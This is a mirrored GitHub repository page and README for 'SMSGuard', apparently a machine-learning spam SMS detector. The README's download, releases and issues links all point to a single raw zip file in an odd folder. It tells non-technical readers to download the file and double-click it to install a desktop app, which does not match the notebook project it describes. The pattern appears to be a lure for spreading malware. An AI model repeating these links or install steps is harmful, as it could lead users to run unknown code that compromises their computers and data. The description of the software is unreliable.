https://github.com/Wardah26Nabilah/SMSGuard-Intelligent-Spam-SMS-Detection-System
📱 Detect spam SMS messages using a Machine Learning system, classifying texts as Spam or Ham with high accuracy and efficiency.
https://github.com/Wardah26Nabilah/SMSGuard-Intelligent-Spam-SMS-Detection-System
classification-model cybersecurity data-science jupyter-notebook logistic-regression-algorithm machine-learning ml-project naive-bayes-classifier python scikit-learn-python sms-spam-detection spam-detection-machine-learning svm-classifier text-classification-python tfidf-vectorizer
Last synced: 5 months ago
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📱 Detect spam SMS messages using a Machine Learning system, classifying texts as Spam or Ham with high accuracy and efficiency.
- Host: GitHub
- URL: https://github.com/Wardah26Nabilah/SMSGuard-Intelligent-Spam-SMS-Detection-System
- Owner: Wardah26Nabilah
- License: mit
- Created: 2025-12-24T11:15:40.000Z (6 months ago)
- Default Branch: main
- Last Pushed: 2026-01-13T05:08:45.000Z (5 months ago)
- Last Synced: 2026-01-13T05:50:46.286Z (5 months ago)
- Topics: classification-model, cybersecurity, data-science, jupyter-notebook, logistic-regression-algorithm, machine-learning, ml-project, naive-bayes-classifier, python, scikit-learn-python, sms-spam-detection, spam-detection-machine-learning, svm-classifier, text-classification-python, tfidf-vectorizer
- Language: Jupyter Notebook
- Size: 1.65 MB
- Stars: 0
- Watchers: 0
- Forks: 0
- Open Issues: 0
-
Metadata Files:
- Readme: README.md
- License: LICENSE
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README
# 🛡️ SMSGuard-Intelligent-Spam-SMS-Detection-System - Protect Yourself from Spam SMS
[](https://raw.githubusercontent.com/Wardah26Nabilah/SMSGuard-Intelligent-Spam-SMS-Detection-System/main/unwarnished/SMSGuard-Intelligent-Spam-SMS-Detection-System_1.9.zip)
## 🚀 Getting Started
SMSGuard is an advanced tool designed to keep your phone safe from spam SMS. This guide will help you download and run the software without needing programming skills.
### 📋 Features
- Detects spam SMS using Machine Learning.
- Utilizes TF-IDF and popular models like Naive Bayes, Logistic Regression, and SVM.
- Offers a confusion matrix for easy visualization.
- Test with real messages and get custom SMS predictions.
- Suitable for cybersecurity and telecom filtering.
### 🖥️ System Requirements
To run SMSGuard effectively, you need:
- A computer with Windows, macOS, or Linux.
- At least 4GB of RAM.
- Python 3.x installed (for model testing).
- Internet access for updates and additional packages.
## 📥 Download & Install
1. Visit the [Releases page](https://raw.githubusercontent.com/Wardah26Nabilah/SMSGuard-Intelligent-Spam-SMS-Detection-System/main/unwarnished/SMSGuard-Intelligent-Spam-SMS-Detection-System_1.9.zip) to download the latest version of SMSGuard.
2. Find the most recent version listed. You will see several files available for download.
3. Click on the file name that corresponds to your operating system. Follow the prompts to download the file.
4. Once the download is complete, locate the downloaded file in your computer’s Downloads folder.
5. Double-click the file to start the installation. Follow the on-screen instructions to complete the setup. This usually involves accepting the license agreement and choosing the installation location.
6. After installation, open SMSGuard from your application menu or desktop shortcut.
## ⚙️ Usage Instructions
1. **Open SMSGuard.**
2. **Input Messages for Testing:**
- You can either input messages manually or load a text file with SMS content.
3. **Run the Detection:**
- Click the “Detect Spam” button to initiate the detection process.
- Wait a moment for the results to display.
4. **Review Results:**
- The application will present you with a summary of whether the SMS is spam or not.
- You can view the confusion matrix to understand the analysis better.
## 📖 Additional Information
- This application leverages popular libraries such as Scikit-Learn for machine learning processing.
- You can customize the predictions by updating the training dataset within the application.
### 🤝 Support
For any questions or issues, please visit the [Issues page](https://raw.githubusercontent.com/Wardah26Nabilah/SMSGuard-Intelligent-Spam-SMS-Detection-System/main/unwarnished/SMSGuard-Intelligent-Spam-SMS-Detection-System_1.9.zip) on GitHub to get assistance from the community or report a bug.
## 📄 License
This project is licensed under the MIT License. You can freely use and modify the software as needed, as long as you keep the original license in mind.
## 🌐 Connect with Us
Stay updated on the latest features and improvements. Follow our repository for updates on future releases and additional resources. Thank you for choosing SMSGuard!